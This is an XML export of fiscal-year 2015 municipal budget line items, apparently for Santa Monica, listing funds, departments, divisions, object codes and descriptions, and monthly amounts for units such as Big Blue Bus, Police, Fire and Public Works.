<row _id="14284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>28000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="14285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="14286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14287"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>58548.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58548.0</total></row>
<row _id="14288"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4601515.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4601515.0</total></row>
<row _id="14289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17584.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17584.0</total></row>
<row _id="14290"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>120800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>120800.0</total></row>
<row _id="14291"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>133989.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133989.0</total></row>
<row _id="14292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24086.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24086.0</total></row>
<row _id="14293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>357.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>357.0</total></row>
<row _id="14294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555120.0</object><object_description>LA SEWAGE DISPOSAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6819643.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6819643.0</total></row>
<row _id="14295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>71884.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71884.0</total></row>
<row _id="14296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5251.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5251.0</total></row>
<row _id="14298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402730.0</object><object_description>SMURRF-CITY OF LA-O &amp; M</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-72900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-72900.0</total></row>
<row _id="14299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="14300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300000.0</total></row>
<row _id="14301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522330.0</object><object_description>INVENTORY ISSUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522312.0</object><object_description>DISCOUNTS LOST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1734.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1734.0</total></row>
<row _id="14304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555011.0</object><object_description>CONTRACTUAL SERVICES-LIT GRANT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>37702.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37702.0</total></row>
<row _id="14306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-22333.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22333.0</total></row>
<row _id="14307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402430.0</object><object_description>SELF-INSURANCE WORKERS COMP</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-12800001.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12800001.0</total></row>
<row _id="14308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405080.0</object><object_description>SALE OF MUNICIPAL CODES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200.0</total></row>
<row _id="14309"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14310"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401030.0</object><object_description>HAZ MAT RESPONSE RECOVERY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2000.0</total></row>
<row _id="14311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404590.0</object><object_description>SUBDIVISION MAP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-11466.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11466.0</total></row>
<row _id="14312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27627.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27627.0</total></row>
<row _id="14313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27944.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27944.0</total></row>
<row _id="14315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16740.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16740.0</total></row>
<row _id="14317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404090.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-1758672.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1758672.0</total></row>
<row _id="14319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405820.0</object><object_description>PROP C - BSIP</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-769264.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-769264.0</total></row>
<row _id="14320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7868.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7868.0</total></row>
<row _id="14321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2051.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2051.0</total></row>
<row _id="14324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>107.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107.0</total></row>
<row _id="14325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>407080.0</object><object_description>30 DAY IMPOUND FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-104018.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-104018.0</total></row>
<row _id="14326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>122.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122.0</total></row>
<row _id="14327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>72901.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72901.0</total></row>
<row _id="14328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11025.0</total></row>
<row _id="14329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="14330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="14331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>15142.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15142.0</total></row>
